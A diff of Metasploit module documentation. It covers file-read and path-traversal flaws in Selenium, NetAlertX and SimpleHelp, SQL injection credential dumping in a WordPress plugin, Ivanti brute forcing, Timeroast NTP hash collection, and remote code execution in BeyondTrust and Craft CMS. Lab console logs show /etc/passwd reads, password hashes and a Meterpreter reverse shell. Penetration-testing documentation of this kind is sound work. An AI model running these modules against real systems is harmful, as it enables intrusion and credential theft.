pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Deleted session (363b104ba9d167f434518d3eb1add0c6).
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
|
||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
|
||||
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5).
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,96 @@
|
||||
## Vulnerable Application
|
||||
|
||||
|
||||
An attacker can read any file through log functionality with no authentication.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* v24.7.18 <= NetAlertX <= v24.9.12
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull jokobsk/netalertx:24.9.12`
|
||||
|
||||
2. docker run
|
||||
```bash
|
||||
docker run --rm --network=host \
|
||||
-v /tmp/netalertx:/app/config \
|
||||
-v /tmp/netalertx:/app/db \
|
||||
-e TZ=Europe/Berlin \
|
||||
-e PORT=20211 \
|
||||
jokobsk/netalertx:24.9.12
|
||||
```
|
||||
|
||||
### Verification
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/http/netalertx_file_read`
|
||||
4. Do: `run rhost=<rhost>`
|
||||
5. You should get the contents of the specified file.
|
||||
|
||||
## Options
|
||||
|
||||
- `RHOSTS`: target host
|
||||
- `RPORT`: target port, default 20211
|
||||
- `FILEPATH`: path to the required file
|
||||
- `DEPTH`: number of `../` to be prepended to `FILEPATH`
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/netalertx_file_read
|
||||
msf6 auxiliary(scanner/http/netalertx_file_read) > show options
|
||||
|
||||
Module options (auxiliary/scanner/http/netalertx_file_read):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DEPTH 5 yes Traversal Depth (to reach the root folder)
|
||||
FILEPATH /etc/passwd yes The path to the file to read
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
|
||||
tml
|
||||
RPORT 20211 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(scanner/http/netalertx_file_read) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(scanner/http/netalertx_file_read) > run
|
||||
[*] Received data:
|
||||
[*] root:x:0:0:root:/root:/bin/sh
|
||||
bin:x:1:1:bin:/bin:/sbin/nologin
|
||||
daemon:x:2:2:daemon:/sbin:/sbin/nologin
|
||||
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
|
||||
sync:x:5:0:sync:/sbin:/bin/sync
|
||||
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
|
||||
halt:x:7:0:halt:/sbin:/sbin/halt
|
||||
mail:x:8:12:mail:/var/mail:/sbin/nologin
|
||||
news:x:9:13:news:/usr/lib/news:/sbin/nologin
|
||||
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
|
||||
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
|
||||
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
|
||||
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
|
||||
games:x:35:35:games:/usr/games:/sbin/nologin
|
||||
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
|
||||
guest:x:405:100:guest:/dev/null:/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/:/sbin/nologin
|
||||
catchlog:x:100:101:catchlog:/:/sbin/nologin
|
||||
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
|
||||
|
||||
[*] Stored results in netalert_result.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/netalertx_file_read) >
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
## Vulnerable Application
|
||||
There exists a path traversal vulnerability in the /toolbox-resource endpoint of SimpleHelp that enables unauthenticated
|
||||
remote attackers to download arbitrary files from the SimpleHelp server via crafted HTTP requests
|
||||
|
||||
### Setup
|
||||
|
||||
On Ubuntu 22.04 download a vulnerable version of SimpleHelp, for this demo we will use 5.5.7:
|
||||
`wget https://simple-help.com/releases/5.5.7/SimpleHelp-linux-amd64.tar.gz`
|
||||
|
||||
Unzip the application:
|
||||
```
|
||||
cd /opt
|
||||
tar -xvf SimpleHelp-linux-amd64.tar.gz
|
||||
```
|
||||
|
||||
Start the server:
|
||||
```
|
||||
cd SimpleHelp
|
||||
sudo sh serverstart.sh
|
||||
```
|
||||
|
||||
Navigate to the Web App GUI at: `http://127.0.0.1` (by default the application should be listening on all interfaces).
|
||||
You should see "Welcome to your new SimpleHelp Server".
|
||||
Select "Start New Server". The application should now be vulnerable to the path traversal.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use simplehelp_toolbox_path_traversal`
|
||||
1. Set the `RHOST`
|
||||
1. Run the module
|
||||
1. Receive the file `serverconfig.xml` from the SimpleHelp
|
||||
|
||||
## Scenarios
|
||||
### SimpleHelp 5.5.7 running on Ubuntu 22.04
|
||||
```
|
||||
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > use simplehelp_toolbox_path_traversal
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 auxiliary/scanner/http/simplehelp_toolbox_path_traversal 2025-01-12 normal No Simple Help Path Traversal Vulnerability
|
||||
|
||||
|
||||
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/simplehelp_toolbox_path_traversal
|
||||
|
||||
[*] Using auxiliary/scanner/http/simplehelp_toolbox_path_traversal
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhost 172.16.199.130
|
||||
rhost => 172.16.199.130
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run
|
||||
[*] Reloading module...
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version detected: 5.5.7
|
||||
[+] Downloaded 5233 bytes
|
||||
[+] File saved in: /Users/jheysel/.msf4/loot/20250220163655_default_172.16.199.130_simplehelp.trave_035651.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### SimpleHelp 5.5.7 running on Windows 11
|
||||
```
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhosts 172.16.199.131
|
||||
rhosts => 172.16.199.131
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set filepath windows/system.ini
|
||||
filepath => windows/system.ini
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set depth 4
|
||||
depth => 4
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version detected: 5.5.7
|
||||
[+] Downloaded 219 bytes
|
||||
[+] File saved in: /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
|
||||
[*] exec: cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
|
||||
|
||||
; for 16-bit app support
|
||||
[386Enh]
|
||||
woafont=dosapp.fon
|
||||
EGA80WOA.FON=EGA80WOA.FON
|
||||
EGA40WOA.FON=EGA40WOA.FON
|
||||
CGA80WOA.FON=CGA80WOA.FON
|
||||
CGA40WOA.FON=CGA40WOA.FON
|
||||
|
||||
[drivers]
|
||||
wave=mmdrv.dll
|
||||
timer=timer.drv
|
||||
|
||||
[mci]
|
||||
```
|
||||
@@ -0,0 +1,54 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Perfect Survey, a WordPress plugin, version 1.5.1 is affected by an unauthenticated SQL injection vulnerability
|
||||
via the `question_id` parameter.
|
||||
|
||||
An unauthenticated attacker can exploit this SQL injection vulnerability to retrieve sensitive information,
|
||||
such as usernames and password hashes, from the `wp_users` table.
|
||||
|
||||
The vulnerable plugin can be downloaded from the [WordPress plugin repository](https://wordpress.org/plugins/).
|
||||
The specific vulnerable version can be found here: https://www.exploit-db.com/apps/51c80e6262c3a39fa852ebf96ff86b78-perfect-survey.1.5.1.zip
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the WordPress application and the vulnerable version of the Perfect Survey plugin.
|
||||
2. Start `msfconsole`.
|
||||
3. Run: `use auxiliary/scanner/http/wp_perfect_survey_sqli`.
|
||||
4. Set the target host: `set RHOSTS [ip]`.
|
||||
5. Adjust other options as necessary, such as `TARGETURI` (default is `/`).
|
||||
6. Execute the module: `run`.
|
||||
7. The module should retrieve usernames and password hashes from the WordPress installation.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### WordPress with Perfect Survey Plugin 1.5.1 on Ubuntu 20.04
|
||||
|
||||
#### Example
|
||||
|
||||
```sh
|
||||
msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli
|
||||
[*] Using auxiliary/scanner/http/wp_perfect_survey_sqli
|
||||
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104
|
||||
RHOSTS => 192.168.1.104
|
||||
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000
|
||||
RPORT => 8000
|
||||
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress
|
||||
TARGETURI => /wordpress
|
||||
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit
|
||||
[*] Running module against 192.168.1.104
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Exploiting SQLi in Perfect Survey plugin...
|
||||
[*] Extracting credential information
|
||||
|
||||
WordPress User Credentials
|
||||
==========================
|
||||
|
||||
Username Email Hash
|
||||
-------- ----- ----
|
||||
admin admin@localhost.com $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1
|
||||
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) >
|
||||
```
|
||||
@@ -0,0 +1,19 @@
|
||||
## Description
|
||||
|
||||
The module performs bruteforce attack against Ivanti Connect Secure.
|
||||
It allows to attack both regular user and admin as well - you can select which type of account to attack with `ADMIN` parameter.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
- [Ivanti](https://www.ivanti.com/products/connect-secure-vpn)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/scanner/ivanti/login_scanner`
|
||||
2. `set RHOSTS [IP]`
|
||||
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
|
||||
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
|
||||
5. `set ADMIN [attack admin?]`
|
||||
6. `run`
|
||||
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
## Vulnerable Application
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Use the supplied Dockerfile to start a vulnerable instance of the application
|
||||
1. Build it with: `docker build -t ntpd:4.2.8p3 .`
|
||||
1. Run it with: `docker run --rm -it --name ntp-server -p 123:123/udp ntpd:4.2.8p3`
|
||||
1. Start `msfconsole` and use the module
|
||||
1. Set the `RHOSTS` value as necessary
|
||||
1. Run the module and see that the target is vulnerable
|
||||
|
||||
### Dockerfile
|
||||
Use this as `ntp.conf`:
|
||||
|
||||
```
|
||||
# Basic NTP configuration
|
||||
server 0.pool.ntp.org iburst
|
||||
server 1.pool.ntp.org iburst
|
||||
server 2.pool.ntp.org iburst
|
||||
server 3.pool.ntp.org iburst
|
||||
|
||||
driftfile /var/lib/ntp/ntp.drift
|
||||
|
||||
# Enable authentication for secure associations
|
||||
enable auth
|
||||
|
||||
# Define trusted keys
|
||||
trustedkey 1
|
||||
|
||||
# Open restrictions for all clients on the local network (example: 192.168.0.0/16)
|
||||
restrict default kod nomodify notrap
|
||||
restrict 127.0.0.1
|
||||
restrict ::1
|
||||
restrict 192.168.0.0 mask 255.255.0.0 autokey
|
||||
|
||||
# Uncomment to allow all clients (use cautiously)
|
||||
# restrict default kod nomodify notrap
|
||||
```
|
||||
|
||||
Use this as `Dockerfile`:
|
||||
|
||||
```
|
||||
ARG version=4.2.8p3
|
||||
FROM ubuntu:16.04
|
||||
ARG version
|
||||
|
||||
# Install dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
wget \
|
||||
build-essential \
|
||||
libcap-dev \
|
||||
libssl-dev && \
|
||||
apt-get clean
|
||||
|
||||
# Download and build NTPD
|
||||
WORKDIR /tmp
|
||||
RUN wget https://web.archive.org/web/20240608062853/https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-$version.tar.gz && \
|
||||
tar -xzf ntp-$version.tar.gz && \
|
||||
cd ntp-$version && \
|
||||
./configure --prefix=/usr/local --enable-linuxcaps && \
|
||||
make && \
|
||||
make install && \
|
||||
cd .. && \
|
||||
rm -rf ntp-$version*
|
||||
|
||||
# Add configuration file
|
||||
COPY ntp.conf /etc/ntp.conf
|
||||
|
||||
# Expose NTP port (123)
|
||||
EXPOSE 123/udp
|
||||
|
||||
# Run ntpd
|
||||
ENTRYPOINT ["/usr/local/bin/ntpd"]
|
||||
CMD ["-g", "-d", "-d"]
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04 NTPd 4.2.8p3
|
||||
|
||||
```
|
||||
metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > set RHOSTS 192.168.159.128, 192.168.159.10
|
||||
RHOSTS => 192.168.159.128, 192.168.159.10
|
||||
metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > run
|
||||
[+] 192.168.159.128:123 - NTP - VULNERABLE: Accepted a NTP symmetric active association
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] Scanned 2 of 2 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) >
|
||||
```
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
|
||||
48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
|
||||
that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
|
||||
because RIDs are sequential, they can easily be enumerated.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Setup a Windows domain controller target
|
||||
1. Start msfconsole
|
||||
1. Use the `auxiliary/admin/dcerpc/samr_account` module to create a new computer account with the `ADD_COMPUTER` action
|
||||
1. Note the RID (the last part of the SID) and password of the new account
|
||||
1. Use the `auxiliary/scanner/ntp/timeroast` module
|
||||
1. Set the `RHOSTS` option to the target domain controller
|
||||
1. Set the `RIDS` option to the RID of the new account
|
||||
1. Run the module and see that a hash is collected, this has will show up in the output of the `creds` command if a
|
||||
database is connected
|
||||
|
||||
## Options
|
||||
|
||||
### RIDS
|
||||
The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specified using a comma as a separator.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2019 x64 Domain Controller
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205
|
||||
RIDS => 4200-4205
|
||||
msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(scanner/ntp/timeroast) > run
|
||||
[*] Checking RID: 4200
|
||||
[*] Checking RID: 4201
|
||||
[+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010
|
||||
[*] Checking RID: 4202
|
||||
[+] Hash for RID: 4202 - 4202:$sntp-ms$e106388a43f6bbd5365e3a6f2dee741d$1c0100e900000000000a2c704c4f434ceb0aaf8ac78c5c9a0000000000000000eb0aea21bb83de46eb0aea21bb8442f0
|
||||
[*] Checking RID: 4203
|
||||
[*] Checking RID: 4204
|
||||
[+] Hash for RID: 4204 - 4204:$sntp-ms$d0b1961cc3d57a1eaa40bfeeb9f30eb9$1c0100e900000000000a2c704c4f434ceb0aaf8ac653c2f50000000000000000eb0aea222a6c25c3eb0aea222a6c6a8c
|
||||
[*] Checking RID: 4205
|
||||
[*] Waiting on 3 pending responses...
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/ntp/timeroast) >
|
||||
```
|
||||
@@ -138,7 +138,7 @@ Local File System Commands
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/dcerpc/icpr_cert
|
||||
auxiliary/admin/dcerpc/samr_computer
|
||||
auxiliary/admin/dcerpc/samr_account
|
||||
auxiliary/admin/smb/delete_file
|
||||
auxiliary/admin/smb/download_file
|
||||
auxiliary/admin/smb/psexec_ntdsgrab
|
||||
|
||||
@@ -20,10 +20,12 @@ The issue mode. This controls what the module will do once an authenticated sess
|
||||
server. Must be one of the following options:
|
||||
|
||||
* ALL: Enumerate all available certificate templates and then issue each of them
|
||||
* AUTO: Automatically select either the `User` or `Machine` template to issue based on if the authenticated user is a
|
||||
user or machine account. The determination is based on checking for a `$` at the end of the name, which means that it
|
||||
is a machine account.
|
||||
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any
|
||||
* AUTO: Automatically select either the `User` or `DomainController` and `Machine` (`Computer`) templates to issue
|
||||
based on if the authenticated user is a user or machine account. The determination is based on checking for a `$`
|
||||
at the end of the name, which means that it is a machine account.
|
||||
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates
|
||||
available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and
|
||||
include `Machine` (AKA `Computer`) and `DomainController`
|
||||
* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option
|
||||
|
||||
### CERT_TEMPLATE
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
## Vulnerable Application
|
||||
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
|
||||
Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust
|
||||
product site. This exploit targets PRA and RS versions `24.3.1` and below.
|
||||
|
||||
## Testing
|
||||
This exploit was tested against a vulnerable BeyondTrust Remote Support target running version `24.1.2`. To install
|
||||
a virtual appliance, follow [this documentation](https://docs.beyondtrust.com/rs/docs/va-install). You will first need
|
||||
to acquire the relevant software packages.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/beyondtrust_pra_rs_unauth_rce`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp`
|
||||
5. `set LHOST eth0`
|
||||
6. `set LPORT 4444`
|
||||
7. `check`
|
||||
8. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### TargetCompanyName
|
||||
If set, use this name value to identify the company name of the deployed site (e.g. `mytestcompany`).
|
||||
By default, this is auto discovered.
|
||||
|
||||
### TargetServerFQDN
|
||||
If set, use this FQDN value to identify the FQDN of the deployed site (e.g. `support.mytestcompany.com`).
|
||||
By default, this is auto discovered.
|
||||
|
||||
### LeverageCVE_2024_12356
|
||||
By default, this exploit does not leverage the argument injection vulnerability CVE-2024-12356, and instead exploits the
|
||||
SQLi vulnerability CVE-2025-1094 directly. Enabling this option will cause this exploit to leverage CVE-2024-12356 during
|
||||
the exploitation of the SQLi vulnerability CVE-2025-1094. In either case the SQLi vulnerability CVE-2025-1094 is leveraged
|
||||
to achieve RCE.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Default
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > show options
|
||||
|
||||
Module options (exploit/linux/http/beyondtrust_pra_rs_unauth_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.105 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
|
||||
html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME usKuEPuSzgnx no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > check
|
||||
[*] 192.168.86.105:443 - The target appears to be vulnerable. Detected version 24.1.2
|
||||
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Detected version 24.1.2
|
||||
[*] Using company name: mytestcompany
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.105
|
||||
[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.105:10104) at 2025-01-31 10:51:38 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: mytestcompany
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.105
|
||||
OS : Gentoo 2.14 (Linux 6.1.76-bt)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,275 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This Metasploit module exploits a Remote Code Execution vulnerability in **Craft CMS**.
|
||||
|
||||
The vulnerability lies in improper handling of Twig templates, which can be exploited
|
||||
to inject and execute arbitrary PHP code on the server via crafted HTTP requests.
|
||||
|
||||
---
|
||||
|
||||
### Affected Versions
|
||||
|
||||
- **5.x Series**: `>= 5.0.0-RC1`, `< 5.5.2`
|
||||
- **4.x Series**: `>= 4.0.0-RC1`, `< 4.13.2`
|
||||
- **3.x Series**: `>= 3.0.0`, `< 3.9.14`
|
||||
|
||||
---
|
||||
|
||||
### Setting Up a Vulnerable Lab
|
||||
|
||||
To test this exploit, follow these steps to set up a vulnerable Craft CMS environment.
|
||||
|
||||
#### Docker Setup
|
||||
|
||||
Install a specific vulnerable version of Craft CMS:
|
||||
|
||||
```bash
|
||||
mkdir exploit-craft && \
|
||||
cd exploit-craft && \
|
||||
# Configure DDEV (https://ddev.com/) project for Craft CMS \
|
||||
ddev config \
|
||||
--project-type=craftcms \
|
||||
--docroot=web \
|
||||
--create-docroot \
|
||||
--php-version="8.2" \
|
||||
--database="mysql:8.0" \
|
||||
--nodejs-version="20" && \
|
||||
# Create the DDEV project
|
||||
ddev start -y && \
|
||||
# Create Craft CMS with the specified version
|
||||
ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \
|
||||
# Install a vulnerable Craft CMS version
|
||||
ddev composer require "craftcms/cms:5.5.0" \
|
||||
--no-scripts \
|
||||
--no-interaction --with-all-dependencies && \
|
||||
# Set the security key for Craft CMS
|
||||
ddev craft setup/security-key && \
|
||||
# Install Craft CMS
|
||||
ddev craft install/craft \
|
||||
--username=admin \
|
||||
--password=password123 \
|
||||
--email=admin@example.com \
|
||||
--site-name=Testsite \
|
||||
--language=en \
|
||||
--site-url='$DDEV_PRIMARY_URL' && \
|
||||
# Enable register_argc_argv for PHP
|
||||
mkdir -p .ddev/php/ && \
|
||||
echo "register_argc_argv = On" > .ddev/php/php.ini && \
|
||||
ddev restart && \
|
||||
# Launch the project
|
||||
echo 'Setup complete. Launching the project.' && \
|
||||
ddev launch
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start the vulnerable Craft CMS instance using the steps above.
|
||||
2. Launch `msfconsole`.
|
||||
3. Use the module: `use exploit/linux/http/craftcms_ftp_template`.
|
||||
4. Set `RHOSTS` to the target Craft CMS instance.
|
||||
5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed.
|
||||
6. Execute the exploit with the `run` command.
|
||||
7. If successful, the module will execute the payload on the target.
|
||||
|
||||
---
|
||||
|
||||
## Options
|
||||
No option
|
||||
|
||||
## Scenarios
|
||||
|
||||
#### Successful Exploitation Against Craft CMS 5.5.0
|
||||
|
||||
**Setup**:
|
||||
|
||||
- Local Craft CMS instance with a vulnerable version (e.g., `5.5.0`).
|
||||
- Metasploit Framework.
|
||||
|
||||
**Steps**:
|
||||
|
||||
To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps:
|
||||
|
||||
1. Start `msfconsole`:
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
2. Load the module:
|
||||
```bash
|
||||
use exploit/linux/http/craftcms_ftp_template
|
||||
```
|
||||
|
||||
3. Set the `RHOSTS` option to the target Craft CMS instance, for example:
|
||||
```bash
|
||||
set RHOSTS exploit-craft.ddev.site
|
||||
```
|
||||
|
||||
4. Configure other necessary options such as `TARGETURI`, `SSL`, and `RPORT` if required. By default:
|
||||
- `RPORT` is set to `80`.
|
||||
- `TARGETURI` is set to `/`.
|
||||
|
||||
5. Set the payload for exploitation. For example:
|
||||
```bash
|
||||
set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
```
|
||||
|
||||
6. Set the local listener address and port:
|
||||
```bash
|
||||
set LHOST 192.168.1.36
|
||||
